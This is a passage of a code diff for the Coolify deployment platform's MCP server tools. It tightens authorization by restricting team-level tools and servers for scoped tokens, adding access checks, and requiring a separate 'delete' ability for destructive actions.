that run without the HTTP middleware. + if (! EnsureTokenBelongsToCurrentTeamMember::tokenWithinCreatorAccess($user, $token, (int) $token->team_id)) { + $this->auditMcpTool($request, $tool, 'denied', [ + 'reason' => 'token_exceeds_access', + 'required_ability' => $ability, + ]); - if (! $isAdminOrOwner) { - $tokenAbilities = $token->abilities ?? []; - $disallowed = array_intersect($tokenAbilities, self::MEMBER_DISALLOWED_ABILITIES); - if ($disallowed !== [] || in_array($ability, self::MEMBER_DISALLOWED_ABILITIES, true)) { - $this->auditMcpTool($request, $tool, 'denied', [ - 'reason' => 'member_role', - 'required_ability' => $ability, - ]); - - return Response::error('Missing required team role.'); - } - } + return Response::error(EnsureTokenBelongsToCurrentTeamMember::EXCEEDS_ACCESS_MESSAGE); } if ($token->can('root') || $token->can($ability)) { @@ -93,6 +74,21 @@ trait ResolvesTeam return (int) $teamId; } + /** + * Servers of the team, or none for a token or member limited to some projects, environments, or resources. + * + * @return Builder + */ + protected function visibleServers(Request $request, int $teamId): Builder + { + $query = Server::whereTeamId($teamId); + if (! app(AccessResolver::class)->coversWholeTeam($request->user(), $teamId)) { + $query->whereRaw('1 = 0'); + } + + return $query; + } + protected function mcpSuccess(Request $request, Response $response, array $context = []): Response { $this->auditMcpTool($request, $this->name ?? null, 'success', $context); diff --git a/app/Mcp/Resources/InfrastructureOverviewResource.php b/app/Mcp/Resources/InfrastructureOverviewResource.php index f2430b1ab3..0e44ca8750 100644 --- a/app/Mcp/Resources/InfrastructureOverviewResource.php +++ b/app/Mcp/Resources/InfrastructureOverviewResource.php @@ -32,7 +32,7 @@ class InfrastructureOverviewResource extends Resource return Response::error('Invalid token.'); } - $servers = Server::whereTeamId($teamId) + $servers = $this->visibleServers($request, $teamId) ->with('settings:id,server_id,is_reachable,is_usable') ->get() ->map(fn (Server $s) => [ diff --git a/app/Mcp/Servers/CoolifyServer.php b/app/Mcp/Servers/CoolifyServer.php index 115b36c0fc..a89f412b6b 100644 --- a/app/Mcp/Servers/CoolifyServer.php +++ b/app/Mcp/Servers/CoolifyServer.php @@ -83,7 +83,9 @@ use App\Mcp\Tools\ManageStorage; use App\Mcp\Tools\ManageTags; use App\Mcp\Tools\RollbackApplication; use App\Mcp\Tools\SearchResources; +use App\Services\Access\AccessResolver; use Laravel\Mcp\Server; +use Laravel\Mcp\Server\ServerContext; use Laravel\Mcp\Server\Tool; class CoolifyServer extends Server @@ -117,7 +119,7 @@ Lifecycle (requires token ability **deploy**): - control (start|stop|restart; stop needs confirm=true) - deploy, cancel_deployment, rollback_application -Changes (requires token ability **write**): manage_* and create_* tools. They run the same REST API routes, with the same validation and permissions. Destructive actions need confirm=true: ask the user first. +Changes (requires token ability **write**, or **delete** for delete actions): manage_* and create_* tools. They run the same REST API routes, with the same validation and permissions. Destructive actions need confirm=true: ask the user first. Prompts: troubleshoot_application, explain_failed_deploy. Resources: coolify://overview, coolify://application/{uuid}. @@ -210,8 +212,64 @@ MD; GetServerMetrics::class, ]; + /** + * Tools for team-level objects. Tokens and members limited to some projects, environments, + * or resources do not get them (same rule as ApiAbility::SCOPED_ACCESS_ROUTES for REST). + * + * @var array> + */ + public const TEAM_LEVEL_TOOLS = [ + GetCurrentTeam::class, + ListTeamMembers::class, + ListServers::class, + GetServer::class, + GetServerDomains::class, + GetServerResources::class, + GetServerMetrics::class, + ListDestinations::class, + GetDestination::class, + ListTags::class, + ListGithubApps::class, + ListGithubRepositories::class, + ListGithubBranches::class, + ListAuditEvents::class, + ManageTags::class, + ManageServer::class, + ManageProxy::class, + DockerCleanup::class, + ManageDestination::class, + ManageRegistry::class, + ManagePrivateKey::class, + ManageS3Storage::class, + ManageGitSource::class, + CloudProvider::class, + ManageNotifications::class, + ]; + protected array $tools = self::TOOLS; + /** + * @return array> + */ + public static function toolsForCurrentActor(): array + { + $user = request()->user(); + $teamId = $user?->currentAccessToken()?->team_id; + + if ($user !== null && $teamId !== null && app(AccessResolver::class)->coversWholeTeam($user, (int) $teamId)) { + return self::TOOLS; + } + + return array_values(array_diff(self::TOOLS, self::TEAM_LEVEL_TOOLS)); + } + + public function createContext(): ServerContext + { + $this->tools = self::toolsForCurrentActor(); + + return parent::createContext(); + } + protected array $resources = [ InfrastructureOverviewResource::class, ApplicationResource::class, diff --git a/app/Mcp/Tools/CloudProvider.php b/app/Mcp/Tools/CloudProvider.php index fdc545c258..476fc1ab1f 100644 --- a/app/Mcp/Tools/CloudProvider.php +++ b/app/Mcp/Tools/CloudProvider.php @@ -51,7 +51,7 @@ class CloudProvider extends RestActionTool 'get_token' => ['method' => 'GET', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'read', 'description' => 'one cloud provider token (no token value)'], 'create_token' => ['method' => 'POST', 'path' => 'cloud-tokens', 'ability' => 'write', 'description' => 'add a provider token; it is checked with the provider first (data: provider hetzner|digitalocean|vultr|hostinger, token, name)'], 'update_token' => ['method' => 'PATCH', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'write', 'description' => 'rename a provider token (data: name)'], - 'delete_token' => ['method' => 'DELETE', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a provider token that no server uses'], + 'delete_token' => ['method' => 'DELETE', 'path' => 'cloud-tokens/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a provider token that no server uses'], 'validate_token' => ['method' => 'POST', 'path' => 'cloud-tokens/{uuid}/validate', 'ability' => 'write', 'description' => 'check a stored provider token with the provider'], 'catalog' => ['method' => 'GET', 'paths' => self::CATALOG_PATHS, 'ability' => 'read', 'description' => 'read a provider catalog; resource is _, for example hetzner_locations (data: cloud_provider_token_uuid)'], 'provision_server' => ['method' => 'POST', 'paths' => self::PROVISION_PATHS, 'ability' => 'write', 'confirm' => true, 'description' => 'create a new paid server at the provider and add it to Coolify; resource is the provider (data: cloud_provider_token_uuid, private_key_uuid, name, and the provider fields, for example location, server_type, image for hetzner)'], diff --git a/app/Mcp/Tools/CoolifyHelp.php b/app/Mcp/Tools/CoolifyHelp.php index a3e4e09c36..27c36bdd11 100644 --- a/app/Mcp/Tools/CoolifyHelp.php +++ b/app/Mcp/Tools/CoolifyHelp.php @@ -157,7 +157,7 @@ class CoolifyHelp extends Tool */ private function visibleTools(): array { - return collect(CoolifyServer::TOOLS) + return collect(CoolifyServer::toolsForCurrentActor()) ->map(fn (string $class): Tool => app($class)) ->filter(fn (Tool $tool): bool => $tool->eligibleForRegistration()) ->mapWithKeys(fn (Tool $tool): array => [$tool->name() => [ diff --git a/app/Mcp/Tools/GetInfrastructureOverview.php b/app/Mcp/Tools/GetInfrastructureOverview.php index dea213425f..5bfa78b3a7 100644 --- a/app/Mcp/Tools/GetInfrastructureOverview.php +++ b/app/Mcp/Tools/GetInfrastructureOverview.php @@ -9,7 +9,6 @@ use App\Models\Application; use App\Models\ApplicationDeploymentQueue; use App\Models\Environment; use App\Models\Project; -use App\Models\Server; use App\Models\Service; use Illuminate\Contracts\JsonSchema\JsonSchema; use Illuminate\Support\Collection; @@ -40,7 +39,7 @@ class GetInfrastructureOverview extends Tool return $this->mcpError($request, 'Invalid token.'); } - $servers = Server::whereTeamId($teamId) + $servers = $this->visibleServers($request, $teamId) ->select('id', 'name', 'uuid', 'ip', 'description') ->with('settings:id,server_id,is_reachable,is_usable') ->get(); @@ -56,7 +55,7 @@ class GetInfrastructureOverview extends Tool ->values() ->all(); - $unreachableServers = Server::whereTeamId($teamId) + $unreachableServers = $this->visibleServers($request, $teamId) ->whereHas('settings', fn ($q) => $q->where('is_reachable', false)) ->count(); diff --git a/app/Mcp/Tools/ListSharedEnvKeys.php b/app/Mcp/Tools/ListSharedEnvKeys.php index beb8f7abc4..ea8713e161 100644 --- a/app/Mcp/Tools/ListSharedEnvKeys.php +++ b/app/Mcp/Tools/ListSharedEnvKeys.php @@ -2,6 +2,7 @@ namespace App\Mcp\Tools; +use App\Enums\AccessLevel; use App\Mcp\Concerns\BuildsResponse; use App\Mcp\Concerns\ResolvesTeam; use App\Models\Environment; @@ -46,7 +47,7 @@ class ListSharedEnvKeys extends Tool if ($scope === 'project') { $project = Project::where('team_id', $teamId)->where('uuid', $uuid)->first(); - if (! $project) { + if (! $project || ! $request->user()->canAccess(AccessLevel::Read, $project)) { return $this->mcpError($request, "Project [{$uuid}] not found.", ['resource_uuid' => $uuid]); } @@ -78,7 +79,7 @@ class ListSharedEnvKeys extends Tool } } - if (! $environment || (int) $environment->project?->team_id !== $teamId) { + if (! $environment || (int) $environment->project?->team_id !== $teamId || ! $request->user()->canAccess(AccessLevel::Read, $environment)) { return $this->mcpError($request, "Environment [{$uuid}] not found.", ['resource_uuid' => $uuid]); } diff --git a/app/Mcp/Tools/ListUnhealthyResources.php b/app/Mcp/Tools/ListUnhealthyResources.php index 3fd3ad56ed..a97875ac17 100644 --- a/app/Mcp/Tools/ListUnhealthyResources.php +++ b/app/Mcp/Tools/ListUnhealthyResources.php @@ -50,7 +50,7 @@ class ListUnhealthyResources extends Tool $args = $this->paginationArgs($request); // --- Servers (small set; filter via settings) --- - $unhealthyServers = Server::whereTeamId($teamId) + $unhealthyServers = $this->visibleServers($request, $teamId) ->with('settings:id,server_id,is_reachable,is_usable') ->whereHas('settings', function ($q) { $q->where('is_reachable', false)->orWhere('is_usable', false); diff --git a/app/Mcp/Tools/ManageApplication.php b/app/Mcp/Tools/ManageApplication.php index bdb1bf898a..1b995ef965 100644 --- a/app/Mcp/Tools/ManageApplication.php +++ b/app/Mcp/Tools/ManageApplication.php @@ -17,11 +17,11 @@ class ManageApplication extends RestActionTool { return [ 'update' => ['method' => 'PATCH', 'path' => 'applications/{uuid}', 'ability' => 'write', 'description' => 'update application settings (data: same fields as the REST update, e.g. name, domains, git_branch, ports_exposes, build_command)'], - 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete the application and its containers (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], + 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the application and its containers (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup)'], 'clone' => ['method' => 'POST', 'path' => 'applications/{uuid}/clone', 'ability' => 'write', 'description' => 'clone the application to a destination of the team (data: destination_uuid, name, clone_volumes)'], 'move' => ['method' => 'POST', 'path' => 'applications/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the application to another environment of the team (data: environment_uuid)'], 'add_server' => ['method' => 'POST', 'path' => 'applications/{uuid}/destinations', 'ability' => 'write', 'description' => 'attach an additional destination on another server (data: destination_uuid)'], - 'remove_server' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/destinations/{destination_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'detach an additional destination'], + 'remove_server' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/destinations/{destination_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'detach an additional destination'], ]; } diff --git a/app/Mcp/Tools/ManageBackup.php b/app/Mcp/Tools/ManageBackup.php index 244485fee5..983f20bec3 100644 --- a/app/Mcp/Tools/ManageBackup.php +++ b/app/Mcp/Tools/ManageBackup.php @@ -18,8 +18,8 @@ class ManageBackup extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'databases/{uuid}/backups', 'ability' => 'write', 'description' => 'create a backup schedule (data: frequency, enabled, save_s3, s3_storage_uuid(s), retention fields, backup_now ...)'], 'update' => ['method' => 'PATCH', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}', 'ability' => 'write', 'description' => 'update a backup schedule; data.backup_now=true runs a backup now'], - 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a backup schedule and all its backup files (data.delete_s3=true also deletes S3 copies)'], - 'delete_execution' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete one backup execution and its file (data.delete_s3=true also deletes the S3 copy)'], + 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a backup schedule and all its backup files (data.delete_s3=true also deletes S3 copies)'], + 'delete_execution' => ['method' => 'DELETE', 'path' => 'databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete one backup execution and its file (data.delete_s3=true also deletes the S3 copy)'], ]; } diff --git a/app/Mcp/Tools/ManageDatabase.php b/app/Mcp/Tools/ManageDatabase.php index 3dadf67e26..9928d2d74d 100644 --- a/app/Mcp/Tools/ManageDatabase.php +++ b/app/Mcp/Tools/ManageDatabase.php @@ -17,7 +17,7 @@ class ManageDatabase extends RestActionTool { return [ 'update' => ['method' => 'PATCH', 'path' => 'databases/{uuid}', 'ability' => 'write', 'description' => 'update database settings (data: name, description, image, is_public, public_port, public_port_timeout, limits_*, type credentials and *_conf fields, redact_all_env_values_in_logs)'], - 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete the database (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup; all default true)'], + 'delete' => ['method' => 'DELETE', 'path' => 'databases/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the database (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup; all default true)'], 'clone' => ['method' => 'POST', 'path' => 'databases/{uuid}/clone', 'ability' => 'write', 'confirm' => true, 'description' => 'clone the database to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes stops the source database while volumes are copied)'], 'move' => ['method' => 'POST', 'path' => 'databases/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the database to another environment of the team (data: environment_uuid)'], 'import' => ['method' => 'POST', 'path' => 'databases/{uuid}/imports', 'ability' => 'write', 'confirm' => true, 'description' => 'import a backup into the database, can overwrite data (data: source s3 | server, s3_storage_uuid, path, dump_all, replace_existing, keep_owners, restore_mysql_users, sqlite_database); check progress with get_database_import'], diff --git a/app/Mcp/Tools/ManageDestination.php b/app/Mcp/Tools/ManageDestination.php index fa3f65f107..e7b60ddcfd 100644 --- a/app/Mcp/Tools/ManageDestination.php +++ b/app/Mcp/Tools/ManageDestination.php @@ -18,7 +18,7 @@ class ManageDestination extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'servers/{server_uuid}/destinations', 'ability' => 'write', 'description' => 'create a destination on a server (data: network, name, type standalone|swarm)'], 'update' => ['method' => 'PATCH', 'path' => 'destinations/{uuid}', 'ability' => 'write', 'description' => 'rename a destination (data: name)'], - 'delete' => ['method' => 'DELETE', 'path' => 'destinations/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a destination without resources and remove its Docker network'], + 'delete' => ['method' => 'DELETE', 'path' => 'destinations/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a destination without resources and remove its Docker network'], ]; } diff --git a/app/Mcp/Tools/ManageEnv.php b/app/Mcp/Tools/ManageEnv.php index 676afb81c2..8398e92c21 100644 --- a/app/Mcp/Tools/ManageEnv.php +++ b/app/Mcp/Tools/ManageEnv.php @@ -35,7 +35,7 @@ class ManageEnv extends RestActionTool 'application' => 'applications/{uuid}/envs/{env_uuid}', 'database' => 'databases/{uuid}/envs/{env_uuid}', 'service' => 'services/{uuid}/envs/{env_uuid}', - ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a variable by UUID'], + ], 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a variable by UUID'], ]; } diff --git a/app/Mcp/Tools/ManageGitSource.php b/app/Mcp/Tools/ManageGitSource.php index 435d8950ff..ce20ed1978 100644 --- a/app/Mcp/Tools/ManageGitSource.php +++ b/app/Mcp/Tools/ManageGitSource.php @@ -19,7 +19,7 @@ class ManageGitSource extends RestActionTool 'list' => ['method' => 'GET', 'paths' => ['github' => 'github-apps', 'gitlab' => 'gitlab-apps'], 'ability' => 'read', 'description' => 'git apps of the team and system-wide apps'], 'create' => ['method' => 'POST', 'paths' => ['github' => 'github-apps', 'gitlab' => 'gitlab-apps'], 'ability' => 'write', 'description' => 'add a git app (github data: name, html_url, api_url, app_id, installation_id, client_id, client_secret, webhook_secret, private_key_uuid, organization, custom_user, custom_port; gitlab data: name, html_url, api_url, group_name, client_id, client_secret, webhook_token, redirect_uri, custom_user, custom_port)'], 'update' => ['method' => 'PATCH', 'paths' => ['github' => 'github-apps/{source_id}', 'gitlab' => 'gitlab-apps/{source_id}'], 'ability' => 'write', 'description' => 'update a git app of the team (data: same fields as create, all optional)'], - 'delete' => ['method' => 'DELETE', 'paths' => ['github' => 'github-apps/{source_id}', 'gitlab' => 'gitlab-apps/{source_id}'], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a git app of the team that no application uses'], + 'delete' => ['method' => 'DELETE', 'paths' => ['github' => 'github-apps/{source_id}', 'gitlab' => 'gitlab-apps/{source_id}'], 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a git app of the team that no application uses'], ]; } diff --git a/app/Mcp/Tools/ManagePreview.php b/app/Mcp/Tools/ManagePreview.php index 0f4b92b339..29d524bf6e 100644 --- a/app/Mcp/Tools/ManagePreview.php +++ b/app/Mcp/Tools/ManagePreview.php @@ -18,7 +18,7 @@ class ManagePreview extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'applications/{uuid}/previews', 'ability' => 'deploy', 'description' => 'open or redeploy a preview (data: pull_request_id, pull_request_html_url, git_type, commit, docker_tag, force, instant_deploy)'], 'update' => ['method' => 'PATCH', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'write', 'description' => 'replace preview domains (data: domains, or docker_compose_domains for compose apps, force_domain_override)'], - 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete the preview and its containers'], + 'delete' => ['method' => 'DELETE', 'path' => 'applications/{uuid}/previews/{pull_request_id}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the preview and its containers'], ]; } diff --git a/app/Mcp/Tools/ManagePrivateKey.php b/app/Mcp/Tools/ManagePrivateKey.php index 36a9ced91b..782fa243b0 100644 --- a/app/Mcp/Tools/ManagePrivateKey.php +++ b/app/Mcp/Tools/ManagePrivateKey.php @@ -20,7 +20,7 @@ class ManagePrivateKey extends RestActionTool 'get' => ['method' => 'GET', 'path' => 'security/keys/{uuid}', 'ability' => 'read', 'description' => 'one private key (no key material)'], 'create' => ['method' => 'POST', 'path' => 'security/keys', 'ability' => 'write', 'description' => 'add a private key (data: private_key PEM or base64, name, description)'], 'update' => ['method' => 'PATCH', 'path' => 'security/keys/{uuid}', 'ability' => 'write', 'description' => 'update a private key (data: name, description; private_key only to replace the key)'], - 'delete' => ['method' => 'DELETE', 'path' => 'security/keys/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a private key that is not in use'], + 'delete' => ['method' => 'DELETE', 'path' => 'security/keys/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a private key that is not in use'], ]; } diff --git a/app/Mcp/Tools/ManageProject.php b/app/Mcp/Tools/ManageProject.php index 6d84a61c5d..79cf90b788 100644 --- a/app/Mcp/Tools/ManageProject.php +++ b/app/Mcp/Tools/ManageProject.php @@ -18,10 +18,10 @@ class ManageProject extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'projects', 'ability' => 'write', 'description' => 'create a project (data: name, description)'], 'update' => ['method' => 'PATCH', 'path' => 'projects/{uuid}', 'ability' => 'write', 'description' => 'update a project (data: name, description)'], - 'delete' => ['method' => 'DELETE', 'path' => 'projects/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an empty project'], + 'delete' => ['method' => 'DELETE', 'path' => 'projects/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete an empty project'], 'create_environment' => ['method' => 'POST', 'path' => 'projects/{uuid}/environments', 'ability' => 'write', 'description' => 'create an environment (data: name)'], 'update_environment' => ['method' => 'PATCH', 'path' => 'projects/{uuid}/environments/{environment_name_or_uuid}', 'ability' => 'write', 'description' => 'rename an environment (data: name)'], - 'delete_environment' => ['method' => 'DELETE', 'path' => 'projects/{uuid}/environments/{environment_name_or_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an empty environment'], + 'delete_environment' => ['method' => 'DELETE', 'path' => 'projects/{uuid}/environments/{environment_name_or_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete an empty environment'], ]; } diff --git a/app/Mcp/Tools/ManageRegistry.php b/app/Mcp/Tools/ManageRegistry.php index 59749acbcd..43aebc7049 100644 --- a/app/Mcp/Tools/ManageRegistry.php +++ b/app/Mcp/Tools/ManageRegistry.php @@ -19,7 +19,7 @@ class ManageRegistry extends RestActionTool 'list' => ['method' => 'GET', 'path' => 'servers/{uuid}/registries', 'ability' => 'read:sensitive', 'description' => 'registry logins on the server (registry and username only)'], 'create' => ['method' => 'POST', 'path' => 'servers/{uuid}/registries', 'ability' => 'write', 'description' => 'log in to a registry on the server (data: registry, username, password)'], 'check' => ['method' => 'POST', 'path' => 'servers/{uuid}/registries/{registry}/check', 'ability' => 'write', 'description' => 'check that a registry login works'], - 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}/registries/{registry}', 'ability' => 'write', 'confirm' => true, 'description' => 'log out of a registry; private image pulls can fail afterwards'], + 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}/registries/{registry}', 'ability' => 'delete', 'confirm' => true, 'description' => 'log out of a registry; private image pulls can fail afterwards'], ]; } diff --git a/app/Mcp/Tools/ManageS3Storage.php b/app/Mcp/Tools/ManageS3Storage.php index 2f5a92970d..2e8c863fd7 100644 --- a/app/Mcp/Tools/ManageS3Storage.php +++ b/app/Mcp/Tools/ManageS3Storage.php @@ -20,7 +20,7 @@ class ManageS3Storage extends RestActionTool 'get' => ['method' => 'GET', 'path' => 's3-storages/{uuid}', 'ability' => 'read', 'description' => 'one S3 storage'], 'create' => ['method' => 'POST', 'path' => 's3-storages', 'ability' => 'write', 'description' => 'add an S3 storage (data: name, endpoint, bucket, region, key, secret, description, is_usable)'], 'update' => ['method' => 'PATCH', 'path' => 's3-storages/{uuid}', 'ability' => 'write', 'description' => 'update an S3 storage (data: same fields as create, all optional)'], - 'delete' => ['method' => 'DELETE', 'path' => 's3-storages/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete an S3 storage'], + 'delete' => ['method' => 'DELETE', 'path' => 's3-storages/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete an S3 storage'], 'validate' => ['method' => 'POST', 'path' => 's3-storages/{uuid}/validate', 'ability' => 'write', 'description' => 'test the connection and save the result'], ]; } diff --git a/app/Mcp/Tools/ManageScheduledTask.php b/app/Mcp/Tools/ManageScheduledTask.php index d5e0527404..83a504164f 100644 --- a/app/Mcp/Tools/ManageScheduledTask.php +++ b/app/Mcp/Tools/ManageScheduledTask.php @@ -27,7 +27,7 @@ class ManageScheduledTask extends RestActionTool 'delete' => ['method' => 'DELETE', 'paths' => [ 'application' => 'applications/{uuid}/scheduled-tasks/{task_uuid}', 'service' => 'services/{uuid}/scheduled-tasks/{task_uuid}', - ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a scheduled task'], + ], 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a scheduled task'], 'execute' => ['method' => 'POST', 'paths' => [ 'application' => 'applications/{uuid}/scheduled-tasks/{task_uuid}/execute', 'service' => 'services/{uuid}/scheduled-tasks/{task_uuid}/execute', diff --git a/app/Mcp/Tools/ManageServer.php b/app/Mcp/Tools/ManageServer.php index 2a036e07f9..6c518e66c6 100644 --- a/app/Mcp/Tools/ManageServer.php +++ b/app/Mcp/Tools/ManageServer.php @@ -18,7 +18,7 @@ class ManageServer extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'servers', 'ability' => 'write', 'description' => 'add a server (data: ip, private_key_uuid, name, description, port, user, server_role, proxy_type, instant_validate)'], 'update' => ['method' => 'PATCH', 'path' => 'servers/{uuid}', 'ability' => 'write', 'description' => 'update a server (data: name, description, ip, port, user, private_key_uuid, server_role, proxy_type, concurrent_builds, dynamic_timeout, deployment_queue_limit, connection_timeout, is_terminal_enabled, server_disk_usage_*)'], - 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a server without resources (the Coolify host cannot be deleted)'], + 'delete' => ['method' => 'DELETE', 'path' => 'servers/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a server without resources (the Coolify host cannot be deleted)'], 'validate' => ['method' => 'POST', 'path' => 'servers/{uuid}/validate', 'ability' => 'write', 'description' => 'start a server validation (data: install=true also installs Docker)'], ]; } diff --git a/app/Mcp/Tools/ManageService.php b/app/Mcp/Tools/ManageService.php index bdbc6c0050..f81bc60d40 100644 --- a/app/Mcp/Tools/ManageService.php +++ b/app/Mcp/Tools/ManageService.php @@ -17,7 +17,7 @@ class ManageService extends RestActionTool { return [ 'update' => ['method' => 'PATCH', 'path' => 'services/{uuid}', 'ability' => 'write', 'description' => 'update the service (data: name, description, docker_compose_raw base64, connect_to_docker_network, urls, force_domain_override, is_container_label_escape_enabled, redact_all_env_values_in_logs, instant_deploy)'], - 'delete' => ['method' => 'DELETE', 'path' => 'services/{uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete the service (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup, delete_from_coolify_only)'], + 'delete' => ['method' => 'DELETE', 'path' => 'services/{uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the service (data: delete_volumes, delete_connected_networks, delete_configurations, docker_cleanup, delete_from_coolify_only)'], 'clone' => ['method' => 'POST', 'path' => 'services/{uuid}/clone', 'ability' => 'write', 'confirm' => true, 'description' => 'clone the service to a destination of the team (data: destination_uuid, name, clone_volumes; clone_volumes stops the source service while volumes are copied)'], 'move' => ['method' => 'POST', 'path' => 'services/{uuid}/move', 'ability' => 'write', 'confirm' => true, 'description' => 'move the service to another environment of the team (data: environment_uuid)'], 'update_application' => ['method' => 'PATCH', 'path' => 'services/{uuid}/applications/{app_uuid}', 'ability' => 'write', 'description' => 'update a service application (data: url, noindex_domains, human_name, description, image, exclude_from_status, is_log_drain_enabled, is_gzip_enabled, traefik_certificate_resolver, is_stripprefix_enabled, is_force_https_enabled, max_restart_count)'], diff --git a/app/Mcp/Tools/ManageSharedEnv.php b/app/Mcp/Tools/ManageSharedEnv.php index d21acd18d5..03f5feaaa1 100644 --- a/app/Mcp/Tools/ManageSharedEnv.php +++ b/app/Mcp/Tools/ManageSharedEnv.php @@ -33,7 +33,7 @@ class ManageSharedEnv extends RestActionTool 'project' => 'projects/{uuid}/envs/{env_id}', 'environment' => 'projects/{uuid}/environments/{environment_name_or_uuid}/envs/{env_id}', 'server' => 'servers/{uuid}/envs/{env_id}', - ], 'ability' => 'write', 'confirm' => true, 'description' => 'delete a shared variable'], + ], 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a shared variable'], ]; } diff --git a/app/Mcp/Tools/ManageStorage.php b/app/Mcp/Tools/ManageStorage.php index d59d95ca14..22d154ae32 100644 --- a/app/Mcp/Tools/ManageStorage.php +++ b/app/Mcp/Tools/ManageStorage.php @@ -18,9 +18,9 @@ class ManageStorage extends RestActionTool return [ 'create' => ['method' => 'POST', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'create a storage (data: type persistent|file, name, mount_path, content, is_directory, is_host_file, fs_path; services also resource_uuid)'], 'update' => ['method' => 'PATCH', 'paths' => $this->paths('storages'), 'ability' => 'write', 'description' => 'update a storage (data: uuid of the storage, type, name, mount_path, content, is_preview_suffix_enabled)'], - 'delete' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}'), 'ability' => 'write', 'confirm' => true, 'description' => 'delete a storage'], + 'delete' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}'), 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a storage'], 'set_backup' => ['method' => 'PUT', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'write', 'description' => 'create or replace the volume backup schedule (data: frequency, enabled, save_s3, s3_storage_uuid(s), stop_during_backup, retention fields ...)'], - 'remove_backup' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'write', 'confirm' => true, 'description' => 'delete the volume backup schedule and its local and S3 archives'], + 'remove_backup' => ['method' => 'DELETE', 'paths' => $this->paths('storages/{storage_uuid}/backups'), 'ability' => 'delete', 'confirm' => true, 'description' => 'delete the volume backup schedule and its local and S3 archives'], 'run_backup' => ['method' => 'POST', 'paths' => $this->paths('storages/{storage_uuid}/backups/run'), 'ability' => 'write', 'confirm' => true, 'description' => 'run the volume backup now (can stop the resource when stop_during_backup is set)'], ]; } diff --git a/app/Mcp/Tools/ManageTags.php b/app/Mcp/Tools/ManageTags.php index 37059bfe58..2c794bdfa7 100644 --- a/app/Mcp/Tools/ManageTags.php +++ b/app/Mcp/Tools/ManageTags.php @@ -18,7 +18,7 @@ class ManageTags extends RestActionTool return [ 'create' => ['method' => 'POST', 'path' => 'tags', 'ability' => 'write', 'description' => 'create a team tag (data: name)'], 'update' => ['method' => 'PATCH', 'path' => 'tags/{tag_uuid}', 'ability' => 'write', 'description' => 'rename a team tag (data: name)'], - 'delete' => ['method' => 